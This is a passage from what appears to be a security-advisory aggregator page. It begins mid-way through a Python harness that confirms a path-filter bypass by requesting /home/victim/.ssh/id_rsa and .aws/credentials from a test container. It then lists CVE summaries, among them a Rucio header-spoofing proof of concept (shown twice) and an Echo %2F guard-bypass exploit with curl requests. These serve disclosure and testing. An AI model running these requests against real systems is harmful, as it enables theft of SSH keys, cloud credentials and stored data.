# Step 2: Build Docker image buildcmd = f"docker build -t {IMAGENAME} {buildctx}" log(f"Building Docker image: {buildcmd}") rc, stdout, stderr = run( ["docker", "build", "-t", IMAGENAME, buildctx], timeout=300 ) if rc != 0: errtail = (stdout + stderr)[-600:] log(f"Docker build FAILED (rc={rc}):\n{errtail}") saveresult(False, "FAIL", f"Docker 이미지 빌드 실패 (exit code {rc}). " f"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. " f"마지막 출력: {errtail[-200:]}", errtail, buildcmd, f"docker run --rm -p {HOSTPORT}:3000 {IMAGENAME}") return 1 log("Docker image built successfully.")

# Step 3: Run container in detached mode runcmd = f"docker run --rm --name {CONTAINERNAME} -p {HOSTPORT}:3000 -d {IMAGENAME}" log(f"Starting container: {runcmd}") rc, stdout, stderr = run( ["docker", "run", "--rm", "--name", CONTAINERNAME, "-p", f"{HOSTPORT}:3000", "-d", IMAGENAME], timeout=30 ) if rc != 0: log(f"docker run FAILED:\n{stderr}") saveresult(False, "FAIL", f"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}", stderr[-300:], buildcmd, runcmd) return 1 containerid = stdout.strip() log(f"Container started: {containerid[:12]}")

# Step 4: Wait for HTTP server inside container if not waitforserver(): # Collect container logs for diagnosis , clog, = run(["docker", "logs", CONTAINERNAME], timeout=10) log(f"Container logs:\n{clog}") saveresult(False, "FAIL", f"서버가 {HOSTPORT} 포트에서 제한 시간 내 응답하지 않음. " f"컨테이너 로그: {clog[-300:]}", clog[-300:], buildcmd, runcmd) stopcontainer() return 1

# ---------------------------------------------------------------- # Step 5: Test 1 — Control: /etc/passwd must be BLOCKED # ---------------------------------------------------------------- log("-" 50) log("TEST 1 (control): filepath=/etc/passwd [expected: blocked=true]") try: rctrl = httppost(TOOLURL, { "toolname": "filereader", "parameters": {"filepath": "/etc/passwd"} }) except Exception as exc: rctrl = {"requesterror": str(exc)} log(f" Response: {json.dumps(rctrl)[:300]}") ctrlblocked = rctrl.get("blocked", False)

# ---------------------------------------------------------------- # Step 6: Test 2 — Exploit: /home/victim/.ssh/idrsa must PASS # ---------------------------------------------------------------- log("-" 50) log("TEST 2 (exploit): filepath=/home/victim/.ssh/idrsa [expected: blocked=false + file content]") try: rssh = httppost(TOOLURL, { "toolname": "filereader", "parameters": {"filepath": "/home/victim/.ssh/idrsa"} }) except Exception as exc: rssh = {"requesterror": str(exc)} log(f" Response: {json.dumps(rssh)[:400]}")

# ---------------------------------------------------------------- # Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS # ---------------------------------------------------------------- log("-" 50) log("TEST 3 (exploit): filepath=/home/victim/.aws/credentials [expected: blocked=false + AWS creds]") try: raws = httppost(TOOLURL, { "toolname": "filereader", "parameters": {"filepath": "/home/victim/.aws/credentials"} }) except Exception as exc: raws = {"requesterror": str(exc)} log(f" Response: {json.dumps(raws)[:400]}")

# ---------------------------------------------------------------- # Step 8: Evaluate results # ---------------------------------------------------------------- log("-" 50) log("Evaluating results...")

sshbypassed = ( not rssh.get("blocked", True) and rssh.get("EXPLOITSUCCESS") is True and "idrsa" in rssh.get("sanitizedpath", "") and bool(rssh.get("filecontent")) and "RSA" in rssh.get("filecontent", "") )

awsbypassed = ( not raws.get("blocked", True) and raws.get("EXPLOITSUCCESS") is True and "credentials" in raws.get("sanitizedpath", "") and bool(raws.get("filecontent")) and "awsaccesskeyid" in raws.get("filecontent", "") )

log(f" [control] /etc/passwd blocked={ctrlblocked}") log(f" [exploit] SSH key bypass={sshbypassed}") log(f" [exploit] AWS creds bypass={awsbypassed}")

# PASS requires: control is blocked AND at least SSH bypass confirmed if ctrlblocked and sshbypassed: sshcontent = rssh.get("filecontent", "") awscontent = raws.get("filecontent", "")

evidence = ( f"[Test 1 — Control] POST /tool {{filepath: '/etc/passwd'}} " f"=> blocked=true (dangerousUnixPaths가 /etc/를 올바르게 차단)\n\n" f"[Test 2 — Exploit] POST /tool {{filepath: '/home/victim/.ssh/idrsa'}} " f"=> blocked=false, EXPLOITSUCCESS=true\n" f" sanitizedpath: {rssh.get('sanitizedpath')}\n" f" filecontent (truncated):\n" f" {sshcontent[:300]}\n\n" f"[Test 3 — Exploit] POST /tool {{filepath: '/home/victim/.aws/credentials'}} " f"=> blocked={raws.get('blocked', True)}, " f"EXPLOITSUCCESS={raws.get('EXPLOITSUCCESS')}\n" f" filecontent: {awscontent[:200]}\n\n" f"[Root Cause] validation-utils.js:190 — " f"allowedAbsolutePaths includes '/home/' and '/Users/': " f"any absolute path starting with /home/ passes with blocked=false." )

reason = ( "/home/ prefix가 allowedAbsolutePaths 화이트리스트에 포함되어 있어 " "/home/victim/.ssh/idrsa 경로가 sanitizer.sanitize()에서 blocked=false로 반환됨. " "소비 앱이 해당 경로로 fs.readFile을 호출하여 SSH 개인키 내용이 HTTP 응답으로 유출됨. " "CWE-22 경로 제한 우회 취약점 동적 재현 완료 (컨테이너 내 관측 가능한 파일 유출 확인)." )

saveresult( True, "PASS", reason, evidence, f"docker build -t {IMAGENAME} <buildctx>", f"docker run --rm -p {HOSTPORT}:3000 {IMAGENAME}" ) log("=== FINAL VERDICT: PASS ===") return 0

else: # Record failure details evidence = ( f"[Test 1] ctrl response: {json.dumps(rctrl)[:300]}\n" f"[Test 2] ssh response: {json.dumps(rssh)[:300]}\n" f"[Test 3] aws response: {json.dumps(raws)[:300]}\n" f"ctrlblocked={ctrlblocked}, sshbypassed={sshbypassed}, awsbypassed={awsbypassed}" )

if not ctrlblocked: # Unexpected: /etc/passwd should be blocked reason = ( "/etc/passwd 경로가 예상과 달리 차단되지 않았음. " "서버 초기화 오류 또는 취약점 패치 가능성. 서버 로그를 확인하시오." ) else: reason = ( f"/home/victim/.ssh/idrsa bypass 미확인 (sshbypassed={sshbypassed}). " f"응답: {json.dumps(rssh)[:200]}. " "서버 응답 구조 또는 파일 생성 확인 필요. " "container 내 /home/victim/.ssh/idrsa 파일 존재 여부를 " "'docker exec <container> cat /home/victim/.ssh/idrsa'로 확인하시오." )

saveresult(False, "FAIL", reason, evidence, f"docker build -t {IMAGENAME} <buildctx>", f"docker run --rm -p {HOSTPORT}:3000 {IMAGENAME}") log("=== FINAL VERDICT: FAIL ===") return 1

except KeyboardInterrupt: log("Interrupted by user.") return 1 except Exception as exc: import traceback tb = traceback.formatexc() log(f"Unexpected error: {exc}\n{tb}") saveresult(False, "INCOMPLETE", f"예상치 못한 오류 발생: {exc}. " "traceback을 확인하고 Docker 환경 및 repo 경로를 점검하시오.", tb[-600:], "", "") return 1 finally: stopcontainer() if buildctx and os.path.isdir(buildctx): shutil.rmtree(buildctx, ignoreerrors=True) log(f"Cleaned up build context: {buildctx}")

if name == "main": sys.exit(main())

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary The /credentials/signurl endpoint decides authorization from the client-supplied X-Rucio-Account HTTP header instead of the authenticated token's account. Any client holding any valid auth token (even a low-privilege account they legitimately own) can send X-Rucio-Account: root to pass the root-only permission check and have the Rucio server mint a presigned read / write / delete URL for an arbitrary object, signed with the RSE's stored S3 / GCS / Swift credentials.

Details SignURL.get() takes the authorization principal from a request header and never uses the token-authenticated identity:

python lib/rucio/web/rest/flaskapi/v1/credentials.py account = request.headers.get('X-Rucio-Account', default=None) # L165 (attacker-controlled) ... result = getsignedurl(account, rse=rse, service=service, # L194 operation=operation, url=url, lifetime=lifetime, vo=vo)

The gateway then uses that header value as the issuer for the permission check:

python lib/rucio/gateway/credential.py authresult = permission.haspermission(issuer=account, vo=vo, # L57 action='getsignedurl', kwargs=kwargs, ...)

and the permission function is root-only:

python lib/rucio/core/permission/generic.py def permgetsignedurl(issuer, kwargs, session): return isroot(issuer) # isroot(x) -> x.external == 'root'

InternalAccount('root', vo).external == 'root' unconditionally, so the gate passes whenever the header is root. The endpoint is on AuthenticatedBlueprint, whose beforerequest hook validates the token and sets request.environ['issuer'] from the token — but nothing ever compares X-Rucio-Account to it:

python lib/rucio/web/rest/flaskapi/v1/common.py (requestauthenv) flask.request.environ['issuer'] = auth.get('account') # L168 (the real account; unused by SignURL)

This is anomalous: every other authenticated handler derives the account from request.environ['issuer']; credentials.py is the only one that trusts the header. Additionally, core.credential.getsignedurl never checks that the supplied url's host/bucket belongs to the target RSE, so even a legitimate root caller gets an arbitrary-object signing oracle. In multi-VO the VO is also read from the X-Rucio-VO header, allowing cross-tenant targeting.

Proof of concept Request (any valid token + spoofed account): GET /credentials/signurl?rse=<cloudRSE>&svc=s3&op=delete&url=https://victim-bucket.s3.amazonaws.com/important/dataset.root HTTP/1.1 X-Rucio-Auth-Token: <any valid token, even a low-privilege account> X-Rucio-Account: root Accept: application/octet-stream Response: 200 OK with a presigned DELETE URL the attacker replays directly against the storage backend.

Impact A low-privilege Rucio user can read, overwrite, and delete arbitrary objects on any cloud-backed (S3/GCS/Swift) RSE using the server's stored credentials — enabling data exfiltration, tampering, and destruction, and cross-tenant access in multi-VO deployments.

Credit Reported by seankohjs. Found via static analysis + manual verification.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary The /credentials/signurl endpoint decides authorization from the client-supplied X-Rucio-Account HTTP header instead of the authenticated token's account. Any client holding any valid auth token (even a low-privilege account they legitimately own) can send X-Rucio-Account: root to pass the root-only permission check and have the Rucio server mint a presigned read / write / delete URL for an arbitrary object, signed with the RSE's stored S3 / GCS / Swift credentials.

Details SignURL.get() takes the authorization principal from a request header and never uses the token-authenticated identity:

python lib/rucio/web/rest/flaskapi/v1/credentials.py account = request.headers.get('X-Rucio-Account', default=None) # L165 (attacker-controlled) ... result = getsignedurl(account, rse=rse, service=service, # L194 operation=operation, url=url, lifetime=lifetime, vo=vo)

The gateway then uses that header value as the issuer for the permission check:

python lib/rucio/gateway/credential.py authresult = permission.haspermission(issuer=account, vo=vo, # L57 action='getsignedurl', kwargs=kwargs, ...)

and the permission function is root-only:

python lib/rucio/core/permission/generic.py def permgetsignedurl(issuer, kwargs, session): return isroot(issuer) # isroot(x) -> x.external == 'root'

InternalAccount('root', vo).external == 'root' unconditionally, so the gate passes whenever the header is root. The endpoint is on AuthenticatedBlueprint, whose beforerequest hook validates the token and sets request.environ['issuer'] from the token — but nothing ever compares X-Rucio-Account to it:

python lib/rucio/web/rest/flaskapi/v1/common.py (requestauthenv) flask.request.environ['issuer'] = auth.get('account') # L168 (the real account; unused by SignURL)

This is anomalous: every other authenticated handler derives the account from request.environ['issuer']; credentials.py is the only one that trusts the header. Additionally, core.credential.getsignedurl never checks that the supplied url's host/bucket belongs to the target RSE, so even a legitimate root caller gets an arbitrary-object signing oracle. In multi-VO the VO is also read from the X-Rucio-VO header, allowing cross-tenant targeting.

Proof of concept Request (any valid token + spoofed account): GET /credentials/signurl?rse=<cloudRSE>&svc=s3&op=delete&url=https://victim-bucket.s3.amazonaws.com/important/dataset.root HTTP/1.1 X-Rucio-Auth-Token: <any valid token, even a low-privilege account> X-Rucio-Account: root Accept: application/octet-stream Response: 200 OK with a presigned DELETE URL the attacker replays directly against the storage backend.

Impact A low-privilege Rucio user can read, overwrite, and delete arbitrary objects on any cloud-backed (S3/GCS/Swift) RSE using the server's stored credentials — enabling data exfiltration, tampering, and destruction, and cross-tenant access in multi-VO deployments.

Credit Reported by seankohjs. Found via static analysis + manual verification.

First published (updated )
Severity
8.6
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Gearboy is a Game Boy, Game Boy Color, and Super Game Boy emulator and debugger with an embedded MCP server. Gearsystem, the affected component, has an optional --mcp-http mode that accepts unauthenticated MCP requests from any reachable network peer despite localhost-only documentation and logging. In the described platforms/shared/desktop/mcp/mcptransport.h transport, the socket binds INADDRANY, normally on port 7777, and POST requests to /mcp reach dispatch without Authorization, Host, or Origin checks. Responses and OPTIONS advertise Access-Control-Allow-Origin: . A peer can initialize an MCP session and invoke exposed emulator/debugging operations; even a garbage bearer token does not block dispatch, while a loopback-bind negative control prevents network access. The reported impact is bounded to the emulator process, debugging state, and local files accepted as media, rather than demonstrated host code execution. Gearboy 3.8.7 contains a patch.

First published (updated )
Severity
7.5
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding mismatch fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq, but the fix did not cover the middleware.Static path. In addition, the StaticConfig.EnablePathUnescaping docstring states the default configuration prevents exactly this bypass, which is inaccurate for the global-mount case.

This is not path traversal: no file outside the static root is accessed. The served file lives inside the static root; the issue is that access-control expectations set by a route guard are inconsistent between the literal and %2F-encoded forms of the same path.

Details

Root cause — the router and the static handler disagree on how to interpret %2F:

- The router matches routes on the raw, still-encoded path, so GET /admin%2Fsecret.txt does not match a /admin/... route or group; any middleware attached to that route/group is therefore skipped. - middleware.Static selects its path source in middleware/static.go (~L219): with a global e.Use mount there is no wildcard route, so it uses c.Request().URL.Path, which net/http has already decoded (%2F → /). It then path.Cleans (~L235) and Opens (~L259) admin/secret.txt, serving the file.

Net effect: for the literal path the guard runs; for the %2F-encoded path the guard is skipped but the same file is served.

Relevant code: - middleware/static.go ~L219 (p := c.Request().URL.Path), ~L235 (path.Clean), ~L259 (currentFS.Open) - StaticConfig.EnablePathUnescaping docstring (static.go ~L60-67) — claims the default prevents the /admin%2fprivate.txt → /admin/ guard bypass; this is not true for the global mount.

Relationship to prior advisories: - CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq (patched 5.2.0): same %2F router-vs-handler mismatch, but fixed for StaticFS/StaticDirectoryHandler. The middleware.Static path was not covered — this report is that gap. - CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 (patched 5.0.3): a different issue (Windows backslash traversal outside the root). Referenced only to disambiguate; not the same as this report.

PoC

Environment: golang:1.25, module using the official release (go get github.com/labstack/echo/v5@v5.3.1, no local replace). Static root public/ contains a marker file public/admin/secret.txt = SECRET.

Minimal app (the pattern under test: static served globally + a group guard intended to protect /admin):

go package main

import ( "net/http"

"github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func main() { e := echo.New() e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") } }) admin.GET("/secret.txt", func(c echo.Context) error { return c.String(http.StatusOK, "handler") })

e.Start(":1323") }

Requests (unauthenticated):

Literal: route matches -> group guard runs curl -i http://localhost:1323/admin/secret.txt => 401

%2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt => 200, body: SECRET

Observed on v5.3.1: literal → 401; %2F → 200 with the file contents. For contrast, serving via the (patched) e.StaticFS("/") returns 404 for the same %2F request, showing the middleware.Static path was not covered by the CVE-2026-55677 fix.

Impact

An unauthenticated remote user can retrieve a file served by middleware.Static even when the application attached a route/group middleware guard to that path, by substituting / with %2F. The consequence is limited to files already inside the served static root (CWE-863 authorization inconsistency; CWE-436 interpretation conflict) — there is no access to files outside the static root.

Honest caveat on validity / severity: this only has security impact for applications that (a) serve a directory statically to the public and (b) place a sensitive file inside that same directory while relying on a route-level guard to protect it. That combination is arguably a misconfiguration — a statically-served directory is public by design — so maintainers may reasonably classify this as a documentation fix (correct the EnablePathUnescaping claim) or won't-fix rather than a code vulnerability. It is filed primarily because (1) the router-vs-handler %2F inconsistency is the exact class fixed in CVE-2026-55677 but left uncovered for middleware.Static, and (2) the docstring currently promises protection it does not provide.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. With the default settings, the Static middleware resolves files from the same form of the path that the router matched, so percent-encoded paths such as /admin%2Fsecret.txt or /%61dmin/secret.txt no longer reach a file under a guarded route. Paths with ., .. or empty segments are no longer served.

Note: middleware registered with Echo#Use runs before route and group middleware, so route guards never protect files served by a global Static middleware. Keep protected files outside its root directory, or serve them with Echo#Static behind the guard.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The BPMN System REST APIs do not sufficiently validate input parameters, allowing authenticated users to submit crafted requests that can lead to the execution of arbitrary commands on the server.

An authenticated user can leverage this vulnerability to execute arbitrary commands with the privileges of the product's runtime account. The scope of potential damage is contingent upon the permissions assigned to this account.

First published (updated )
Severity
7.4
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

In deployments of WSO2 Identity Server configured with a case-insensitive user store and a case-sensitive database for identity data, mismatches in username case handling can occur. This inconsistency results in OAuth token revocation operations failing to correctly identify usernames containing mixed-case characters during certain lifecycle events, preventing tokens from being invalidated.

A malicious actor can exploit this vulnerability by possessing a valid access or refresh token associated with a mixed-case username. In affected configurations, these tokens may not be revoked when expected. The actor can then leverage these unrevoked tokens, before their expiry, to continue performing actions that should have been restricted, effectively bypassing intended access controls.

First published (updated )
Severity
8.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Due to the improper implementation of access control rules, the WSO2 product accepts user-supplied input related to resource location without enforcing expected validation constraints. This can be exploited by an unauthenticated actor to direct the server to make requests to arbitrary network locations.

Exploiting this vulnerability allows a malicious actor to access both internal and external resources, available through the network or filesystem, that are reachable by the WSO2 product. This could potentially lead to unauthorized access to sensitive data and systems.

First published (updated )
Severity
7.9
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L

wasmtime-wasi in Wasmtime before 36.0.18, 37.0.0 before 48.0.6, and 49.0.0 before 49.0.3 re-appends a trailing slash to rename source paths, causing renameat on macOS and FreeBSD hosts to follow directory symlinks. A guest with sandbox write access can rename a relative symlink such as "up/" to move host directories into its sandbox and read or write them.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EspoCRM before 9.3.11 and 10.x before 10.0.8 contains a denial of service vulnerability in which the password-redaction regular expression applied during API error handling consumes excessive CPU on long request bodies. Unauthenticated remote attackers can concurrently send a small number of large API requests to exhaust server workers, making EspoCRM slow or unavailable to legitimate users.

First published (updated )
Severity
8.8
Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

MONAI from 1.2.0 before 1.6.1 contains a remote code execution vulnerability in ConfigWorkflow.init, which passes a bundle's configs/logging.conf to logging.config.fileConfig that eval()s handler class and args fields. Attackers can publish a malicious bundle whose logging.conf runs arbitrary Python at workflow construction when a victim loads or runs the bundle.

First published (updated )
Severity
7.5
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

n8n before 1.123.83, 2.41.4, and 2.42.1 contains a server-side request forgery vulnerability in the Slack Trigger webhook that allows unauthenticated attackers to exfiltrate Slack tokens by bypassing signature verification when no signing secret is set. Attackers who know the webhook URL can name a file to download, causing the node to send the workspace access token to an attacker host and return the response.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

n8n before 2.41.4 and 2.42.x before 2.42.1 contains a prototype pollution vulnerability that allows low-privileged users to alter built-in object behaviour by saving workflows with specially named connection keys. Attackers can add keys such as proto to workflow connections, which the periodic history compaction task processes, causing logins and writes to fail with server errors.

First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

n8n before 1.123.85, 2.43.5, and 2.44.1 contains an authorization bypass vulnerability that allows member users to use credentials they cannot access by omitting default node parameters. Attackers can save and run workflows where pre-execution checks skip credential slots, causing decrypted credential values to be sent to attacker-chosen destinations.

First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

n8n before 1.123.85, 2.43.5, and 2.44.1 contains a credential guard bypass vulnerability that allows editors of shared workflows to use restricted credentials by loading sub-workflows from URLs or local files. Attackers can configure the Execute Sub-workflow node with source url or localFile to serve content that resolves project credentials and returns their decrypted values.

First published (updated )
Severity
8.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

n8n before 2.43.5 and 2.44.x before 2.44.1 accepts a client-supplied workflow ID and caches each workflow's owner project in memory by that ID, so a crafted ID such as proto makes the Data Table project check match every project. An authenticated member who can create and run workflows can list, read, modify, and delete Data Table rows in all projects of the instance.

First published (updated )
Severity
8.2
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 saves the SeaTable Trigger node's API token in error execution data, because failed poll requests store raw request headers. Users who can view workflow executions but cannot read the credential can recover the token and access the connected SeaTable base.

First published (updated )
Severity
7.3
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 contains a stored cross-site scripting vulnerability because some webhook response paths, such as error responses and responses without headers, omit the sandbox Content-Security-Policy. Authenticated members who can create and activate workflows can serve HTML that runs on the n8n origin, letting scripts act with the session of users who open the webhook URL.

First published (updated )
Severity
7.7
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

n8n before 2.41.5 and 2.42.x before 2.42.2 passes a failed workflow's full execution context, including the identity of the user who started the run, to the configured error workflow. A project editor can set a colleague's workflow settings.errorWorkflow to an error workflow they own, inherit the colleague's identity when that workflow fails, and resolve the colleague's per-user dynamic credential secrets.

First published (updated )
Severity
8.7
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 contains a filter injection vulnerability in the Quick Base node, which sends the Where filter to the Quick Base API as raw query text. Attackers supplying untrusted input such as webhook data used to build the filter can make Get Many return every record or Delete remove every record with the workflow credential's privileges.

First published (updated )
Severity
8.2
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 stores credential secrets in execution error data when operations fail in the Git, MongoDB Atlas Vector Store, and Google Cloud Storage nodes. Users who can view a workflow's executions but cannot read the credential can recover Git passwords or tokens, MongoDB database passwords, or Google access tokens from that data.

First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 contains an OData $filter injection vulnerability in the Microsoft Outlook contact lookup and Microsoft SharePoint v1 item update nodes, which build $filter string literals from expression-bindable parameters without escaping. Attackers who supply untrusted input to such workflows can inject single quotes to dump the bound mailbox's entire contact list or redirect SharePoint writes onto unintended list items within the stored credential's scope.

First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

n8n before 1.123.85, 2.43.5, and 2.44.1 contains an authorization bypass vulnerability that allows authenticated members to use inaccessible credentials through inline sub-workflow nodes with non-boolean disabled values. Attackers knowing a credential id can run Execute Workflow nodes in inline JSON mode that skip the permission check and send decrypted credentials to attacker-controlled servers.

First published (updated )
Severity
7

Important: mrtg security update

First published (updated )
Severity
8.1
Path Traversal, Race Condition
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

A path traversal vulnerability allows a remote unauthenticated attacker to execute arbitrary code as root in Sophos UTM (all versions) after winning a race condition by sustaining repeated attacks for a few minutes when the email proxy is used with scanning enabled. Sophos UTM is end-of-life and the patch must be installed manually.

First published (updated )
Severity
7.2
XSS
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Vue I18n is the internationalization plugin for Vue.js. From 11.1.10 until 11.4.14 and from 12.0.0-alpha.4 until 12.0.0-alpha.5, sanitizeTranslatedHtml() escapes markup and event-handler text inside an iframe srcdoc value but leaves the srcdoc attribute active. Browsers decode the character references and parse the value as a same-origin nested HTML document, allowing attacker-controlled parameters or translation content placed in srcdoc to execute script when applications enable escapeParameter and render translations as HTML through v-html. Versions 9.14.5 and 10.0.8 are also affected and are no longer supported, while i18n-t rendering is not affected. This issue is fixed in versions 11.4.14 and 12.0.0-alpha.5.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203